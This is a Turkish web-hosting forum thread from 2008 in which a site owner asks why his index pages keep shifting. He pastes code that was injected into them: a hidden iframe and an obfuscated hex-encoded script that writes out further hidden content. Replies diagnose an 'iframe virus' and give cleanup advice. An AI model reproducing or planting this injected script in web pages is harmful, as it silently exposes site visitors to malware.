• 16-12-2008, 22:32:08
    #1
    s.a. arkadaÅŸlar...
    benim iki farklı host şirketinde sitem var.birinde html site kurulu birinde asp script kurulu... sitelerimde aşağı doğru bi kayma oluo.... ve bu kayma sadece index te oluo diğerlerinde sorun olmuor.bazı arkadaşlara sorduğumda hosttan kaynaklı olabilir demişlerdi...sordum bizden kaynaklı deil dediler.tasarımda da sorun yok siteyi yüklüorum ftp ye... bir gün sonra kayma oluo... sitelerime aşağıdaki kod otomotik kendi gelio...acaba bilgisayarımda olan virüslerden olabilirmi...gerçi dosyalara virüs taratmasında bişey çıkmadı.. lütfen arkaaşlar yardım edin....bu nedir anlayamadım...
    <body><iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4947729a5d43e(l4947729a5dff5){ function l4947729a5e7c6(){var l4947729a5ef95=16;return l4947729a5ef95;} return (parseInt(l4947729a5dff5,l4947729a5e7c6()));}function l4947729a5f767(l4947729a5ff37){  var l4947729a60709='';l4947729a62e20=String.fromCharCode;for(l4947729a60ed9=0;l4947729a60ed9<l4947729a5ff37.length;l4947729a60ed9+=2){ l4947729a60709+=(l4947729a62e20(c102916999516l4947729a5d43e(l4947729a5ff37.substr(l4947729a60ed9,2))));}return l4947729a60709;} var x29='';var l4947729a6363e='3C736'+x29+'3726'+x29+'970743E6'+x29+'96'+x29+'6'+x29+'28216'+x29+'D796'+x29+'96'+x29+'1297B6'+x29+'46'+x29+'F6'+x29+'3756'+x29+'D6'+x29+'56'+x29+'E742E77726'+x29+'9746'+x29+'528756'+x29+'E6'+x29+'5736'+x29+'36'+x29+'1706'+x29+'528202725336'+x29+'32536'+x29+'392536'+x29+'36'+x29+'2537322536'+x29+'312536'+x29+'6'+x29+'42536'+x29+'352532302536'+x29+'6'+x29+'52536'+x29+'312536'+x29+'6'+x29+'42536'+x29+'3525336'+x29+'42536'+x29+'332533312533302532302537332537322536'+x29+'3325336'+x29+'42532372536'+x29+'3825373425373425373025336'+x29+'125326'+x29+'6'+x29+'25326'+x29+'6'+x29+'2536'+x29+'372536'+x29+'6'+x29+'6'+x29+'2536'+x29+'372536'+x29+'6'+x29+'6'+x29+'2533322536'+x29+'6'+x29+'42536'+x29+'3525326'+x29+'52536'+x29+'6'+x29+'52536'+x29+'3525373425326'+x29+'6'+x29+'25326'+x29+'52536'+x29+'372536'+x29+'6'+x29+'6'+x29+'25326'+x29+'6'+x29+'2536'+x29+'332536'+x29+'382536'+x29+'352536'+x29+'332536'+x29+'6'+x29+'225326'+x29+'52536'+x29+'382537342536'+x29+'6'+x29+'42536'+x29+'6'+x29+'32532372532302537372536'+x29+'392536'+x29+'342537342536'+x29+'3825336'+x29+'4253336'+x29+'253338253336'+x29+'2532302536'+x29+'382536'+x29+'352536'+x29+'392536'+x29+'372536'+x29+'3825373425336'+x29+'42533312533342533332532302537332537342537392536'+x29+'6'+x29+'32536'+x29+'3525336'+x29+'4253237253736'+x29+'2536'+x29+'392537332536'+x29+'392536'+x29+'322536'+x29+'392536'+x29+'6'+x29+'32536'+x29+'3925373425373925336'+x29+'12536'+x29+'382536'+x29+'392536'+x29+'342536'+x29+'342536'+x29+'352536'+x29+'6'+x29+'525323725336'+x29+'525336'+x29+'325326'+x29+'6'+x29+'2536'+x29+'392536'+x29+'36'+x29+'2537322536'+x29+'312536'+x29+'6'+x29+'42536'+x29+'3525336'+x29+'52729293B7D76'+x29+'6'+x29+'172206'+x29+'D796'+x29+'96'+x29+'13D7472756'+x29+'53B3C2F736'+x29+'3726'+x29+'970743E';document.write(l4947729a5f767(l4947729a6363e));</script>
    <table width="530" border="0" cellpadding="0" cellspacing="0" class="arkaplan">
    iÅŸte kayma olan siteler...
    Yasir Hosting Script v1.0
    Grafik-z Bayram Mesajı
    ..:: Erkol Tekstil ::..
  • 16-12-2008, 22:34:34
    #2
    iframe virüsü diye arattır sitede bi sonuca ulaşırsın kodlarında virüs var temizlemen gerekecek .
  • 16-12-2008, 22:52:14
    #3
    öncelikle arkadaşım teşekkürler... cevap yazdığın için... dediğini yaptım arattım konuyu buldum okudum..herkez pc formatından bahsetio...ben bu olay olduğundan beri sisteme 7 kere format çektim..şimdi yne çekicem... format attığım halde böle yapıo ben bişey anlamadım...acaba hosting e sıçramış olabilirmi virüs...
  • 16-12-2008, 22:54:34
    #4
    Dosyalarını teker teker temizledinmi .

    Sitenin full yedeğini alıp ek bi programla (find and replace) bütün o kodları silip tekrar sunucuna atacaksın .
  • 17-12-2008, 00:17:16
    #5
    ewet dostum denedm... yeni dosyalarla değiştirdim...fakat tekrarlıo sorun
  • 17-12-2008, 08:10:22
    #6
    Üyeliği durduruldu
    UfuK_90 adlı üyeden alıntı: mesajı görüntüle
    öncelikle arkadaşım teşekkürler... cevap yazdığın için... dediğini yaptım arattım konuyu buldum okudum..herkez pc formatından bahsetio...ben bu olay olduğundan beri sisteme 7 kere format çektim..şimdi yne çekicem... format attığım halde böle yapıo ben bişey anlamadım...acaba hosting e sıçramış olabilirmi virüs...
    iframe denilen illetle bir kere tanıştım. yapman gereken sadece server a format değil.
    Ftp ye ile bağlandığın pc ne trojende bulaşmış olabilir.
    Güncel bir virüs programı ile pc ni tara (Kasper ve ilave olarak trojen bulucu)
    Yedek aldığın dosyalarda tek tek bu kodu araman gerekir. Bildiğim kadarıyla sadece index isminde olan dosyalara bulaşıyor.
    Serverı tamamen sil. yapabilirsen hosting şirketine söyle ftp ni kapatıp yeniden açsınlar.
    Dosyarı servera attıktan sonra index dosyalarının CHMOD larını okunabilir yap, yazılabilirlik izinlerini kaldır.

    Not: ifareme virüsü benim siteye bulaştığında server daki virüs programı index dosyalarını siliyordu virüslü diye. Sizin serverda virüs programı yüklü değilmi ?